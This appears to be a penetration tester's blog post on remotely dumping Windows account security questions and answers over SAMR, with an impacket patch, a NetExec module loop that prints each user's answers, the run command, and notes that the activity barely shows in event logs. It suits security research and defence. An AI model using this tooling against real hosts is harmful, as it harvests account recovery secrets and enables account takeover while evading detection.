Table of Contents

Introduction

On May 7th, Grzegorz Tworek tweeted that the security questions for a Windows account are stored as UTF-16LE in the registry.

He later provided a proof of concept that allowed for dumping questions locally on a machine if you are Administrator.

Because I noticed the PoC was using SAMR1, I realized that I could do this remotely. If we can dump user questions and answers remotely, we can do so on a large IP range very quickly without having to execute any code on the host.

This is a blog about the short (but interesting) process of doing so.

Storage and format

The secret is stored in the registry: HKLM\SAM\SAM\Domains\Account\Users\... as UTF-16LE and contains a JSON dictionary:

{
  "version":1,
  "questions": [
    {
      "question":"What's the name of the city where you were born?",
      "answer":"Neverland"
    },
    {
      "question":"What's the name of the first school you attended?",
      "answer":"International School of Magic"
    },
    {
      "question":"What was your childhood nickname?",
      "answer":"Pete"
    }
  ]
}

Development

Impacket

Impacket defines an enum USER_INFORMATION_CLASS, which is a structure that determines how to interpret the Buffer parameter when calling SamrQueryInformationUser.

Each information type has an integer value and, while undocumented, 30 is UserResetInformation.

Based on the PoC from Grzegorz, I made the following modifications:

diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py
index e28c30865..73b181f5b 100644
--- a/impacket/dcerpc/v5/samr.py
+++ b/impacket/dcerpc/v5/samr.py
@@ -1067,6 +1067,12 @@ class SAMPR_USER_INTERNAL5_INFORMATION_NEW(NDRSTRUCT):
         ('PasswordExpired', UCHAR),
     )
 
+class SAMPR_USER_RESET_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('ExtendedWhichFields', ULONG),
+        ('ResetData', RPC_UNICODE_STRING),
+    )
+
 # 2.2.7.28 USER_INFORMATION_CLASS
 class USER_INFORMATION_CLASS(NDRENUM):
     class enumItems(Enum):
@@ -1093,6 +1099,7 @@ class enumItems(Enum):
         UserInternal5Information    = 24
         UserInternal4InformationNew = 25
         UserInternal5InformationNew = 26
+        UserResetInformation        = 30
 
 # 2.2.7.29 SAMPR_USER_INFO_BUFFER
 class SAMPR_USER_INFO_BUFFER(NDRUNION):
@@ -1120,6 +1127,7 @@ class SAMPR_USER_INFO_BUFFER(NDRUNION):
         USER_INFORMATION_CLASS.UserInternal5Information   : ('Internal5', SAMPR_USER_INTERNAL5_INFORMATION),
         USER_INFORMATION_CLASS.UserInternal4InformationNew: ('Internal4New', SAMPR_USER_INTERNAL4_INFORMATION_NEW),
         USER_INFORMATION_CLASS.UserInternal5InformationNew: ('Internal5New', SAMPR_USER_INTERNAL5_INFORMATION_NEW),
+        USER_INFORMATION_CLASS.UserResetInformation       : ('Reset', SAMPR_USER_RESET_INFORMATION),
     }
 
 class PSAMPR_USER_INFO_BUFFER(NDRPOINTER):

You can view the full pull request here.

NetExec

Now that I had a version of impacket that supported the request I needed to make, I could work on making a module in NetExec.

I primarily based this on the samrdump.py file that is part of impacket’s example scripts.

While there is a lot of boilerplate, all the new module does is make a request for UserResetInformation with impacket’s API handle for SamrQueryInformationUser.

The important part of the module can be seen here:

# Loop through all users, as obtained through `SamrEnumerationUsersInDomain`
for user in resp['Buffer']['Buffer']:
    r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])

    # Get struct that contains questions and answers for this user
    info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'], samr.USER_INFORMATION_CLASS.UserResetInformation)

    resetData = info['Buffer']['Reset']['ResetData']
    if resetData == b'':
        break

    # Parse JSON from dictionary
    resetData = json.loads(resetData)
    questions = resetData['questions']

    # Print results
    for qna in questions:
        question = qna['question']
        answer = qna['answer']
        context.log.highlight(f"{user['Name']} - {question}: {answer}")

    samr.hSamrCloseHandle(dce, r['UserHandle'])


You can now use this module by running nxc smb <host> -u <username> -p <password> -M security-questions.

Output of running security-questions NetExec module

Output of running security-questions NetExec module


You can view the full pull request here.

Note

Since the impacket PR hasn't been merged as of writing, you can only use the new netexec module if you modify pyproject.toml to install impacket from my fork (for now).

diff --git a/pyproject.toml b/pyproject.toml
index 4ac1bed0..810748c1 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -43,7 +43,7 @@ beautifulsoup4 = ">=4.11,<5"
 bloodhound = "^1.7.2"
 dploot = "^2.7.1"
 dsinternals = "^1.2.4"
-impacket =  { git = "https://github.com/fortra/impacket.git" }
+impacket =  { git = "https://github.com/adamkadaban/impacket.git" }
 lsassy = ">=3.1.10"
 masky = "^0.2.0"
 minikerberos = "^0.4.1"

Opsec Considerations & Defense

After enabling every typical audit policy I could think of on my machine (see my EnableLogging script), I wasn’t able to see anything indicating malicious activity other than a log-on and log-off from the Administrator account.

Event Viewer after using module

Event Viewer after using module

While I have not tested it, Microsoft does seem to provide a way to find SAMR queries made to AD2.

Post-Development

After making both PRs and while writing this blog, I realized that this functionality apparently already existed in secretsdump.py as of 2021 - but through dumping LSA.

If stored in LSA (they usually will not be), the results will be the same. I believe this is still useful, however, as the results are obtained differently and will always be returned if they exist for an account.